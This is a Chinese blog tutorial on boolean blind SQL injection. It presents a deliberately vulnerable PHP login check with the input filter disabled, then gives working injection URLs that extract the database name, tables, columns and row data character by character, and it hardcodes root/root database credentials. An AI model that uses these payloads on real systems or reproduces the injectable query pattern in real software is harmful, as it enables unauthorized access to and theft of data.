美文网首页
sql注入-bool盲注

sql注入-bool盲注

作者: 没心没肺最开心 | 来源:发表于2022-08-30 11:31 被阅读0次

用PHP写的脚本,主要PHP太方便了。。。
index.php文件

<?php
include "help.php";
error_reporting(0);

if($_GET['action'] == '1'){
    // $_GET = help::filter_parmas($_GET );
    $name = $_GET['name'];
    $res = help::get_sql_res("select * from users where name = '{$name}'");
    if($res){
        echo $_GET['name']."你好";
    }else{
        echo "游客你好";
    }
}

help.php文件

class help{
    public static function filter_parmas($val)
    {
        if (is_string($val)) {
            return addslashes($val);
            // return htmlspecialchars(addslashes($val));
        }
        if (is_array($val)) {
            foreach ($val as $k => $v) {
                $val[$k] = help::filter_parmas($v);
            }
            return $val;
        }
        return $val;
    }

    public static function get_sql_res($sql){
        $mysql_conf = array(

            'host'    => '192.168.108.172:3306', 
            'db'      => 'test', 
            'db_user' => 'root', 
            'db_pwd'  => 'root', 
        
            );
        
        $pdo = new PDO("mysql:host=" . $mysql_conf['host'] . ";dbname=" . $mysql_conf['db'], $mysql_conf['db_user'], $mysql_conf['db_pwd']);//创建一个pdo对象
        
        $pdo->exec("set names 'utf8'");
        
        // $sql = "select * from users where name = ?";
        
        $stmt = $pdo->prepare($sql);
        $rs = $stmt->execute();
        if ($rs) {
            // PDO::FETCH_ASSOC 关联数组形式
            // PDO::FETCH_NUM 数字索引数组形式
            while ($row = $stmt->fetchAll(PDO::FETCH_ASSOC)) {
                return $row;
            }
        }
        $pdo = null;//关闭连接
    }
}

1、sql注入

action = 1
正常
http://test.com/?action=1&name=xiaoming
sql注入
http://test.com/?action=1&name=1%27%20OR%20%271%27=%271

盲注简介

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。如本文中index.php中,我们可以看到不管怎么样我们没发改变返回值。这种就是盲注。

主要数据库使用函数:

length() : 返回字符串长度
substr() :截取字符串 (语法:substr(string,start,leng))
ascii() : 返回字符的ascii码(将字符等变为数字)
sleep() : 需要延迟的时间
if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个

bool 盲注

1、查找数据库长度

http://test.com/?action=1&name=xiaoming' and length(database()) = '4

2、通过ascii码,查找数据库名称

http://test.com/?action=1&name=xiaoming' and (ascii(substr(database(),1,1))) = '116
int(116) --t
int(101) --e
int(115) --s
int(116) --t

3、获取表名

http://test.com/?action=1&name=xiaoming' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 16,1),1,1))='117
int(117) --u
int(115) --s
int(101) --e
int(114) --r
int(115) --s

4、获取字段
核心sql:
select column_name from information_schema.columns
where table_schema=database() and table_name='user'

http://test.com/?action=1&name=xiaoming' and ascii(substr((select column_name from information_schema.columns
where table_schema=database() and table_name='user' limit 0,1),1,1)) = '105

int(105) --i

5、查询数据

http://test.com/?action=1&name=xiaoming' and (ascii(substr((select id from users limit 1,1),1,1)))='49

int(49) --1

有空可以自己写个循环脚本试试哈

相关文章

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • SQL注入之布尔盲注

    title: SQL注入之布尔盲注date: 2019-05-25 14:05:48tags:- SQL注入- 布...

  • sqli-lab之第二章--盲注

    第二章 盲注 注意: 本文大部分内容都是参考mysql注入天书 学习篇 何为盲注?盲注就是在 sql 注入过程中,...

  • SQL注入靶场—盲注Rank1-2

    当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。 布尔注入涉及的...

  • 【SQL注入】如何提高盲注的效率

    0x01 SQL注入之盲注 提到SQL注入,我想懂安全的小伙伴们应该都知道的,那么今天就来聊一聊关于如何提高盲注效...

  • sql盲注学习笔记

    sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...

  • 两种CTF中特殊盲注的总结

    前言 Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端...

网友评论

      本文标题:sql注入-bool盲注

      本文链接:https://www.haomeiwen.com/subject/kgkdnrtx.html